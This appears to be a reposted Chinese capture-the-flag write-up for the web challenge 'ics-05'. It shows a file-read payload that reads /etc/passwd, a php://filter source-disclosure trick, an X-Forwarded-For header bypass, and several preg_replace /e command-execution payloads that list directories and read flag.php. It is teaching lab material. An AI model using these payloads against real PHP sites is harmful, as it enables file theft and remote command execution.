攻防世界-web:ics-05

Posted suferma

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了攻防世界-web:ics-05相关的知识,希望对你有一定的参考价值。

题目描述

其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

题目截图

技术图片

解题思路

查看源代码发现一个url链接
技术图片
尝试访问这个url
技术图片
将参数更换为:/etc/passwd
技术图片
发现存在文件读取漏洞
尝试读取index.php
技术图片
回显ok
利用file协议读取/var/www/html/index.php
技术图片

PHP伪协议文件读取

就是无法获取php源代码,这个时候可以利用php://filter伪协议读取
php://filter/read=convert.base64-encode/resource=index.php
技术图片
读到了index.php的源代码

代码审计

base64解码源代码
技术图片
发现代码中存在异常代码
preg_replace函数:
技术图片
这个函数存在命令执行漏洞
技术图片
技术图片
搜索到这个
技术图片
可以看出当函数第一个参数用//e修饰,第三个参数与第一个参数相同时,第二个参数可以当作php代码执行。
即preg_replace("/123/e", "phpinfo()", "123");可以执行phpinfo()函数。
我们发现这三个参数都是我们可控的,所以只要能够绕过$_SERVER[‘HTTP_X_FORWARDED_FOR‘] === ‘127.0.0.1‘即可命令执行。

HTTP_X_FORWARDED_FOR绕过

我们可以利用burp抓包改包实现绕过。
技术图片

命令执行测试

下面我们构造参数进行命令执行
payload:?pat=/123/e&rep=phpinfo()&sub=123
技术图片
成功执行phpinfo()

查看目录文件

payload:?pat=/123/e&rep=eval(system("ls"))&sub=123
技术图片
发现可疑文件夹

查看疑文件夹

payload:?pat=/123/e&rep=eval(system("ls+s3chahahaDir/"))&sub=123
技术图片
发现flag文件夹

查看flag文件夹

payload:?pat=/123/e&rep=eval(system("ls+s3chahahaDir/flag"))&sub=123
技术图片
发现flag.php

查看flag.php

payload:?pat=/123/e&rep=eval(system("cat+s3chahahaDir/flag/flag.php"))&sub=123
技术图片
得到flag







































以上是关于攻防世界-web:ics-05的主要内容,如果未能解决你的问题,请参考以下文章

攻防世界 ics-05

攻防世界---ics-05

XCTF-攻防世界CTF平台-Web类——17ics-05(php://filter 协议preg_replace函数命令执行)

XCTF-攻防世界CTF平台-Web类——17ics-05(php://filter 协议preg_replace函数命令执行)

攻防世界十七ics-05

攻防世界WEB进阶之upload1